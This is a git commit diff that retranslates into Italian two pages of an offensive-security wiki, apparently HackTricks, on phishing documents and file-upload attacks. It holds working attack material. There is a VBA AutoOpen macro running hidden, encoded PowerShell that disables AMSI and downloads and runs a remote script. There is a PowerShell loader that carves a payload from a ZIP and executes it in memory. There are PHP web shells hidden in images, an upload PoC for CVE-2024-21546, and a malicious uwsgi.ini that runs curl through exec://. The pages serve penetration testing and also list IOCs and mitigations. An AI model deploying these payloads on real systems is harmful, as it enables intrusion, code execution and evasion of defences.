Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/generic

2025-10-10 18:36:50 +00:00 · 2025-09-30 04:37:25 +00:00 · 2025-09-30 04:37:25 +00:00 · db29bcf964
commit db29bcf964
parent cc87339a57
4 changed files with 241 additions and 150 deletions
--- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
@ -1,25 +1,25 @@
-# Phishing Files & Documents
+# Phishing File e Documenti

 {{#include ../../banners/hacktricks-training.md}}

 ## Documenti Office

-Microsoft Word esegue una validazione dei dati del file prima di aprirlo. La validazione viene effettuata identificando la struttura dei dati, in conformità allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file analizzato non verrà aperto.
+Microsoft Word esegue la validazione dei dati del file prima di aprirlo. La validazione dei dati viene effettuata mediante l'identificazione della struttura dei dati, in conformità allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in analisi non verrà aperto.

-Di solito i file Word che contengono macro usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione e mantenere comunque la capacità di eseguire le macro.\
-Ad esempio, un file RTF non supporta le macro, per progettazione, ma un file DOCM rinominato in RTF verrà gestito da Microsoft Word ed sarà in grado di eseguire le macro.\
+Di norma, i file Word contenenti macro usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione e mantenere comunque la capacità di eseguire le macro.\
+Ad esempio, un file RTF non supporta le macro, per progettazione, ma un file DOCM rinominato in RTF sarà gestito da Microsoft Word e sarà in grado di eseguire macro.\
 Gli stessi interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint etc.).

-Puoi usare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office:
+È possibile usare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-I file DOCX che fanno riferimento a un template remoto (File –Options –Add-ins –Manage: Templates –Go) che include macros possono a loro volta “eseguire” macros.
+I file DOCX che fanno riferimento a un template remoto (File –Options –Add-ins –Manage: Templates –Go) che include macros possono “eseguire” macros a loro volta.

 ### Caricamento immagine esterna

 Vai a: _Insert --> Quick Parts --> Field_\
-_**Categorie**: Links and References, **Nomi campo**: includePicture, e **Filename or URL**:_ http://<ip>/whatever
+_**Categories**: Links and References, **Nomi campo**: includePicture, and **Filename or URL**:_ http://<ip>/whatever

 ![](<../../images/image (155).png>)

@ -27,14 +27,14 @@ _**Categorie**: Links and References, **Nomi campo**: includePicture, e **Filena

 È possibile usare macros per eseguire codice arbitrario dal documento.

-#### Funzioni di autoload
+#### Funzioni Autoload

 Più sono comuni, più è probabile che l'AV le rilevi.

 - AutoOpen()
 - Document_Open()

-#### Esempi di codice per macros
+#### Esempi di codice macros
 ```vba
 Sub AutoOpen()
 CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -64,26 +64,26 @@ Dim proc As Object
 Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
 proc.Create "powershell <beacon line generated>
 ```
-#### Rimuovi manualmente i metadati
+#### Rimuovere manualmente i metadati

 Vai su **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**.

-#### Doc Extension
+#### Estensione del documento

-Al termine, seleziona il menu a tendina **Save as type**, cambia il formato da **`.docx`** a **Word 97-2003 `.doc`**.\
-Fai così perché **non puoi salvare macro all'interno di un `.docx`** e c'è un **pregiudizio** **nei confronti** dell'estensione abilitata alle macro **`.docm`** (es. l'icona di anteprima ha un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa **vecchia estensione `.doc` è il miglior compromesso**.
+Al termine, seleziona il menu a discesa **Save as type**, cambia il formato da **`.docx`** a **Word 97-2003 `.doc`**.\
+Fallo perché non puoi salvare macro's inside a `.docx` e c'è uno stigma attorno alla macro-enabled **`.docm`** extension (es. l'icona in anteprima ha un grande `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa **legacy `.doc` extension è il miglior compromesso**.

-#### Malicious Macros Generators
+#### Generatori di Malicious Macros

 - MacOS
 - [**macphish**](https://github.com/cldrn/macphish)
 - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)

-## HTA Files
+## File HTA

-An HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "completamente attendibile", senza i vincoli del modello di sicurezza di un browser.
+Un HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "fully trusted", senza i vincoli del modello di sicurezza di un browser.

-Un HTA viene eseguito usando **`mshta.exe`**, che di solito è **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non potranno essere eseguiti.
+Un HTA viene eseguito usando **`mshta.exe`**, che tipicamente è **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi se è stato disinstallato, gli HTA non potranno essere eseguiti.
 ```html
 <--! Basic HTA Execution -->
 <html>
@ -140,7 +140,7 @@ self.close
 ```
 ## Forzare l'autenticazione NTLM

-Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per esempio, puoi aggiungere **immagini invisibili** nelle email o in HTML a cui l'utente accederà (anche tramite HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **attiveranno** un'**autenticazione** semplicemente aprendo la cartella.
+Esistono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per esempio puoi aggiungere **immagini invisibili** a email o HTML a cui l'utente accederà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **innescheranno** un'**autenticazione** semplicemente aprendo la cartella.

 **Consulta queste idee e altre nelle pagine seguenti:**

@ -156,24 +156,24 @@ Ci sono diversi modi per **forzare l'autenticazione NTLM "da remoto"**, per esem

 ### NTLM Relay

-Non dimenticare che non puoi solo rubare l'hash o l'autenticazione, puoi anche eseguire **NTLM relay attacks**:
+Non dimenticare che non puoi soltanto rubare l'hash o l'autenticazione, ma puoi anche **effettuare NTLM relay attacks**:

 - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)

 ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)

-Campagne estremamente efficaci recapitano uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk maligno. Il trucco è che il loader PowerShell vero e proprio è memorizzato nei byte grezzi dello ZIP dopo un marker univoco, e il .lnk lo estrae ed esegue interamente in memoria.
+Campagne altamente efficaci recapiteranno uno ZIP che contiene due documenti esca legittimi (PDF/DOCX) e un .lnk malevolo. Il trucco è che il loader PowerShell vero e proprio è memorizzato nei byte grezzi dello ZIP dopo un marker unico, e il .lnk lo estrae ed esegue interamente in memoria.

-Flusso tipico implementato dal one-liner PowerShell del .lnk:
+Flusso tipico implementato dal one-liner PowerShell nel .lnk:

-1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e la cartella superiore della directory di lavoro corrente.
-2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il payload PowerShell incorporato.
-3) Copiare lo ZIP in %ProgramData%, estrarlo lì e aprire il .docx esca per risultare legittimo.
+1) Individuare lo ZIP originale in percorsi comuni: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e la cartella padre della directory di lavoro corrente.
+2) Leggere i byte dello ZIP e trovare un marker hardcoded (es., xFIQCV). Tutto ciò che segue il marker è il PowerShell payload incorporato.
+3) Copiare lo ZIP in %ProgramData%, estrarlo lì e aprire il .docx esca per apparire legittimo.
 4) Bypassare AMSI per il processo corrente: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
 5) Deoffuscare la fase successiva (es., rimuovere tutti i caratteri #) ed eseguirla in memoria.

-Esempio di scheletro PowerShell per estrarre e eseguire la fase incorporata:
+Example PowerShell skeleton to carve and run the embedded stage:
 ```powershell
 $marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 $paths    = @(
@ -191,32 +191,32 @@ $code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 Invoke-Expression $code
 ```
 Note
- La delivery spesso abusa di sotto-domini PaaS reputati (es., *.herokuapp.com) e può limitare i payload (servendo ZIP benigni in base a IP/UA).
- La fase successiva spesso decodifica shellcode base64/XOR ed esegue il codice tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti su disco.
+- La delivery spesso abusa di sottodomini PaaS reputabili (es., *.herokuapp.com) e può filtrare i payloads (serve ZIP benigni in base a IP/UA).
+- La fase successiva frequentemente decripta shellcode base64/XOR ed esegue tramite Reflection.Emit + VirtualAlloc per minimizzare gli artefatti sul disco.

-Persistence used in the same chain
- COM TypeLib hijacking del Microsoft Web Browser control in modo che IE/Explorer o qualsiasi app che lo incorpora rilanci automaticamente il payload. Vedi dettagli e comandi pronti all'uso qui:
+Persistenza usata nella stessa catena
+- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:

 {{#ref}}
 ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 {{#endref}}

 Hunting/IOCs
- File ZIP contenenti la stringa marker ASCII (es., xFIQCV) appesa ai dati dell'archivio.
- .lnk che enumera cartelle parent/utente per individuare lo ZIP e apre un documento esca.
- Manomissione di AMSI tramite [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Thread di lunga durata legati a processi business che terminano con link ospitati su domini PaaS di fiducia.
+- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
+- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
+- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
+- Long-running business threads ending with links hosted under trusted PaaS domains.

-## File Windows da cui rubare hash NTLM
+## Windows files to steal NTLM hashes

-Consulta la pagina su **places to steal NTLM creds**:
+Controlla la pagina su **places to steal NTLM creds**:

 {{#ref}}
 ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
 {{#endref}}


-## Riferimenti
+## References

 - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
 - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@ -2,7 +2,7 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Metodologia generale per il caricamento file
+## Metodologia Generale per il Caricamento di File

 Altre estensioni utili:

@ -17,11 +17,11 @@ Altre estensioni utili:

 ### Bypass dei controlli sulle estensioni dei file

-1. Se applicabile, controlla le estensioni precedenti. Testale anche usando lettere maiuscole: _pHp, .pHP5, .PhAr ..._
-2. Controlla aggiungendo una estensione valida prima dell'estensione di esecuzione (usa anche le estensioni precedenti):
+1. Se applicabile, **controlla** le **estensioni precedenti.** Testale anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
+2. _Controlla **aggiungere un'estensione valida prima** dell'estensione eseguibile (usa anche le estensioni precedenti):_
 - _file.png.php_
 - _file.png.Php5_
-3. Prova ad aggiungere caratteri speciali alla fine. Puoi usare Burp per bruteforceare tutti i caratteri ascii e Unicode. (Nota che puoi anche provare a usare le estensioni precedentemente menzionate)
+3. Prova ad aggiungere **caratteri speciali alla fine.** Puoi usare Burp per **bruteforce** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni** **menzionate** in precedenza_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@ -31,7 +31,7 @@ Altre estensioni utili:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Prova a bypassare le protezioni ingannando il parser delle estensioni lato server con tecniche come il raddoppio dell'estensione o aggiungendo dati junk (null bytes) tra le estensioni. Puoi anche usare le estensioni precedenti per preparare un payload più efficace.
+4. Prova a bypassare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come il **doppio** dell'**estensione** o **aggiungendo junk** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@ -40,13 +40,13 @@ Altre estensioni utili:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Aggiungi un altro livello di estensioni al controllo precedente:
+5. Aggiungi **un ulteriore layer di estensioni** al controllo precedente:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Prova a mettere l'estensione di esecuzione prima dell'estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni di Apache dove qualsiasi cosa con estensione **.php**, anche se non termina necessariamente con .php, può eseguire codice):
+6. Prova a mettere l'**estensione eseguibile prima** di quella valida e spera che il server sia malconfigurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi cosa con estensione **_.php_**, anche se non termina necessariamente con .php, eseguirà codice):
 - _ex: file.php.png_
-7. Usare NTFS alternate data stream (ADS) su Windows. In questo caso, un carattere due punti ":" verrà inserito dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato sul server un file vuoto con l'estensione vietata (es. "file.asax:.jpg”). Questo file potrebbe essere modificato in seguito usando altre tecniche come il short filename. Il pattern "**::$data**” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un carattere punto dopo questo pattern potrebbe essere utile per aggirare ulteriori restrizioni (es. "file.asp::$data.”)
-8. Prova a superare i limiti del nome file. L'estensione valida viene troncata. E rimane il PHP maligno. AAA<--SNIP-->AAA.php
+7. Uso delle **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione proibita e prima di una permessa. Di conseguenza, verrà creato sul server un **file vuoto con l'estensione proibita** (es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente usando altre tecniche come l'uso del suo short filename. Anche il pattern "**::$data**” può essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern potrebbe essere utile per bypassare ulteriori restrizioni (es. "file.asp::$data.”)
+8. Prova a rompere i limiti del nome file. L'estensione valida viene troncata. E il PHP malevolo resta. AAA<--SNIP-->AAA.php

 ```
 # Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png

 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

-Alcuni upload handler rimuovono o normalizzano i caratteri punto finali dal filename salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, puoi bypassare la validazione delle estensioni:
+Alcuni upload handler rimuovono o normalizzano i caratteri punto finali dal nome file salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versioni precedenti alla 2.9.1, puoi bypassare la validazione delle estensioni:

- Usando un MIME immagine valido e l'header magic corretto (es., il PNG `\x89PNG\r\n\x1a\n`).
- Nominando il file caricato con un'estensione PHP seguita da un punto, es., `shell.php.`.
- Il server rimuove il punto finale e persiste `shell.php`, che verrà eseguito se collocato in una directory servita dal web (storage pubblico di default come `/storage/files/`).
+- Usare un MIME valido per immagini e header magic validi (es., l'intestazione PNG `\x89PNG\r\n\x1a\n`).
+- Nominare il file uploadato con un'estensione PHP seguita da un punto, es.: `shell.php.`.
+- Il server toglie il punto finale e persiste `shell.php`, che verrà eseguito se posizionato in una directory servita dal web (storage pubblico di default come `/storage/files/`).

-PoC minimale (Burp Repeater):
+PoC minimo (Burp Repeater):
 ```http
 POST /profile/avatar HTTP/1.1
 Host: target
@ -80,65 +80,65 @@ Content-Type: image/png
 \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
 ------WebKitFormBoundary--
 ```
-Poi richiedi il percorso salvato (tipico in Laravel + LFM):
+Quindi fai una richiesta al percorso salvato (tipico in Laravel + LFM):
 ```
 GET /storage/files/0xdf.php?cmd=id
 ```
-Mitigations:
- Aggiorna unisharp/laravel-filemanager a ≥ 2.9.1.
- Applica allowlists rigorose lato server e riesegui la validazione del nome file persistito.
- Servi gli upload da percorsi non eseguibili.
+Mitigazioni:
+- Aggiornare unisharp/laravel-filemanager a ≥ 2.9.1.
+- Enforce strict server-side allowlists e re-validate il persisted filename.
+- Servire gli uploads da percorsi non eseguibili.

-### Bypass di Content-Type, Magic Number, Compression & Resizing
+### Bypass Content-Type, Magic Number, Compression & Resizing

- Bypass dei controlli di **Content-Type** impostando il **valore** dell'**header** **Content-Type** su: _image/png_ , _text/plain , application/octet-stream_
+- Bypass **Content-Type** checks impostando il **value** dell'**header** **Content-Type** su: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (per confondere il comando _file_). Oppure inserisci la shell nei **metadata**:\
+- Bypass **magic number** check aggiungendo all'inizio del file i **bytes of a real image** (confondere il comando _file_). Oppure introdurre la shell nei **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Se alla tua immagine viene applicata la **compressione**, per esempio usando librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- Se alla tua immagine viene applicata una **compression**, per esempio usando librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La pagina web potrebbe anche **ridimensionare** l'**image**, usando per esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- La pagina web potrebbe anche essere **resizing** l'**image**, usando per esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, usando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravviverà alla compressione**.
+- Un'altra tecnica per creare un payload che **survives an image resizing**, usando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)

-### Altri trucchi da provare
+### Other Tricks to check

- Trova una vulnerabilità per **rinominare** il file già caricato (per cambiare l'estensione).
+- Trova una vulnerabilità che permetta di **rename** il file già uploaded (per cambiarne l'estensione).
 - Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
- **Possibile divulgazione di informazioni**:
-1. Carica **più volte** (e **contemporaneamente**) lo **stesso file** con lo **stesso nome**
-2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
-3. Caricare un file con **"." , "..", or "…" come nome**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati nella directory "/www/uploads/", il filename "." creerà un file chiamato "uploads" nella directory "/www/".
-4. Carica un file che potrebbe non essere facilmente cancellato come **"…:.jpg"** in **NTFS**. (Windows)
-5. Carica un file in **Windows** con caratteri **invalidi** come `|<>*?”` nel suo nome. (Windows)
-6. Carica un file in **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando viene aperto accidentalmente dalla vittima.
+- **Possible Information disclosure**:
+1. Upload **several times** (e **at the same time**) lo **stesso file** con lo **stesso name**
+2. Upload un file con il **name** di un **file** o **folder** che **already exists**
+3. Uploading un file con **"." , "..", or "…" as its name**. Per esempio, in Apache su **Windows**, se l'applicazione salva gli uploaded files nella directory "/www/uploads/", il filename "." creerà un file chiamato uploads” nella directory "/www/".
+4. Upload un file che può non essere facilmente cancellato come **"…:.jpg"** in **NTFS**. (Windows)
+5. Upload un file in **Windows** con **invalid characters** come `|<>*?”` nel suo nome. (Windows)
+6. Upload un file in **Windows** usando **reserved** (**forbidden**) **names** come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
+- Prova anche a **upload an executable** (.exe) o un **.html** (meno sospetto) che **will execute code** quando viene accidentalmente aperto dalla vittima.

-### Trucchi per estensioni speciali
+### Special extension tricks

-Se stai cercando di caricare file su un **PHP server**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-Se stai cercando di caricare file su un **ASP server**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+Se stai cercando di uploadare file su un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+Se stai cercando di uploadare file su un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

-I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguirli con php, o includerli in uno script...).
+I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **used like a php file** (eseguirli con php, o includerli dentro uno script...).

-L'estensione `.inc` è talvolta usata per file php che vengono usati solo per **includere/importare file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**.
+L'estensione `.inc` è talvolta usata per file php che vengono usati solo per **import files**, quindi, a un certo punto, qualcuno potrebbe aver permesso **this extension to be executed**.

 ## **Jetty RCE**

-Se puoi caricare un file XML su un server Jetty puoi ottenere [RCE perché **nuovi *.xml e *.war vengono processati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come mostrato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspetta la shell!
+Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come mostrato nell'immagine seguente, uploada il file XML in `$JETTY_BASE/webapps/` e aspetta la shell!

 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)

 ## **uWSGI RCE**

-Per un'esplorazione dettagliata di questa vulnerabilità consulta la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+Per un'esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).

-Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate su server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI utilizzano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', usato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo di leggere i dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando un file di configurazione `.ini` viene processato.
+Remote Command Execution (RCE) vulnerabilities possono essere sfruttate in server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è pensato per includere il contenuto di un file. Tra i vari schemes supportati in uWSGI, lo scheme "exec" è particolarmente potente, permettendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi nefasti come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`.

-Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
+Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemes:
 ```ini
 [uwsgi]
 ; read from a symbol
@ -156,22 +156,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato in auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.
+L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.

-È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), estendendo ulteriormente l'ambito di potenziale sfruttamento.
+È cruciale comprendere la natura permissiva del parsing del file di configurazione di uWSGI. Nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata dei possibili sfruttamenti.

 ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

-Un endpoint non autenticato in Gibbon LMS consente arbitrary file write all'interno della web root, portando a pre-auth RCE tramite il caricamento di un file PHP. Versioni vulnerabili: fino e inclusa la 25.0.01.
+Un endpoint non autenticato in Gibbon LMS permette arbitrary file write all'interno della web root, portando a pre-auth RCE inserendo un file PHP. Versioni vulnerabili: fino e compresa la 25.0.01.

 - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Metodo: POST
- Parametri richiesti:
+- Method: POST
+- Required params:
 - `img`: data-URI-like string: `[mime];[name],[base64]` (il server ignora type/name, decodifica in base64 la parte finale)
 - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
